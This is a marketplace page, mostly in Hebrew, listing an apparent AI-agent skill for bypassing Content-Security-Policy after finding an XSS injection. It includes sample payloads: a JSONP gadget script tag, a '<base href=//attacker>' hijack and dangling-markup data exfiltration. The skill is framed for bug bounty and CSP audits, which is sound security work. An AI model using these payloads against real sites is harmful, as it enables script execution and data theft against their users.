web-csp-bypass
Get script to run despite a Content-Security-Policy — the step after finding an injection that CSP is blocking. Load when you have HTML/JS injection but the payload won't execute, on "CSP is blocking my XSS", or when auditing a CSP for weakness. Signals: a Content-Security-Policy header, a blocked-s
v2026.10.14-ee0e0c54 התקנות+4 ב-7 ימים27 כוכביםMITסונכרן לפני 22 שעות
התקנה
עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-csp-bypassנכתב אל ~/.notholy/skills אחרי בדיקת החתימה וה-SHA-256.
חתימהחתום, ed25519
חבילה4e716ba1…ae75888a
4e716ba179fd…d3d5ae75888aקובץ אחד · 1.4 KBסריקהנמוךאין ממצאים
מקורgithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-csp-bypass@ee0e0c5
הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.
בעמוד הזה
When it applies
You have an injection point but CSP is stopping execution. CSP is a mitigation, not a fix — a weak policy still lets script run, and turning a "blocked" XSS into a firing one is what makes the bug real (and higher severity).
Why it works
Most deployed CSPs have a gap: an over-broad allowlist, a leftover unsafe-inline, a reusable
nonce, a script-src host that also serves a JSONP/AngularJS gadget, or a missing base-uri/
object-src. Each gap is a path to execution the policy author didn't intend.
Method
- Read the policy: paste it into Google's CSP Evaluator; note
script-src,object-src,base-uri,default-src, and whether it's report-only (report-only blocks nothing). unsafe-inline/ no nonce → inline script just runs; you're done.- Allowlisted host with a gadget: a
script-srchost that hosts JSONP (?callback=) or an old AngularJS/library → load it to execute (<script src=//allowed/jsonp?callback=alert>). 'self'+ an upload/echo: host your JS on the same origin (file upload, a reflected.jsendpoint) and point<script src>at it.- Missing
base-uri: inject<base href=//attacker>to hijack relative script src. strict-dynamic/ nonce reuse: if a nonce is static across responses, reuse it; if a trusted script creates elements, ride it.- Dangling markup / exfil: when execution is truly blocked, steal data with markup that leaks to
an allowed
img-src/connect-srcdestination.
Gotchas
- Report-Only (
Content-Security-Policy-Report-Only) does not enforce — don't report it as a bypass. object-src 'none'+base-uri 'none'+ nonce'd strict-dynamic is genuinely hard; say so rather than forcing a weak bypass.- A bypass is only a finding if you also have the injection to use it.
Verify success
Your script executes (or data exfiltrates) with the CSP active — a real alert(document.domain) /
callback, not just a reflected string.
References
Google CSP Evaluator; PortSwigger CSP bypass; the JSONP/AngularJS gadget catalogues.
הקבצים בגרסה הזו
- SKILL.md2.7 KB
הרשאות
| הרשאה | הוצהר | נמצא בסריקה |
|---|---|---|
| קורא קבצים | לא | לא |
| כותב קבצים | לא | לא |
| מריץ פקודות shell | לא | לא |
| משתמש ברשת | לא | לא |
| משתמש במחברים | לא | לא |
| שולט בדפדפן | לא | לא |
ממצאי הסריקה
נבדק ב-13 בנוב׳ 2026
הסריקה לא מצאה בגרסה הזו שום דבר שצריך לסמן.
סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.
| גרסה | פורסמה | Commit | SHA-256 | חתימה | שינוי בהרשאות |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | 13 בנוב׳ 2026 | ee0e0c5 | 4e716ba1 | חתומה | – |
עוד מ-NoorQureshi
הכול מהמפרסם הזהעוד בקטגוריה Web ו-bug bounty
לקטגוריה- src-hunterzhaoxuya520/src-hunter5
- owasp-top10-analysissecurityskills/owasp-top10-analysis5
- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- offensive-xsssnailsploit/offensive-xss5
- offensive-rcesnailsploit/offensive-rce5
- source-review-techniqueaeondave/source-review-technique5
שאלו כל מה שהסקופ מאפשר.
יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.
- 1/3
יצירת חשבון
פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.
פרטיחברה - 2/3
הוספת קרדיטים
בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.
$5.00טעינה מינימלית - 3/3
שאלה ראשונה
בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.
$ notholy login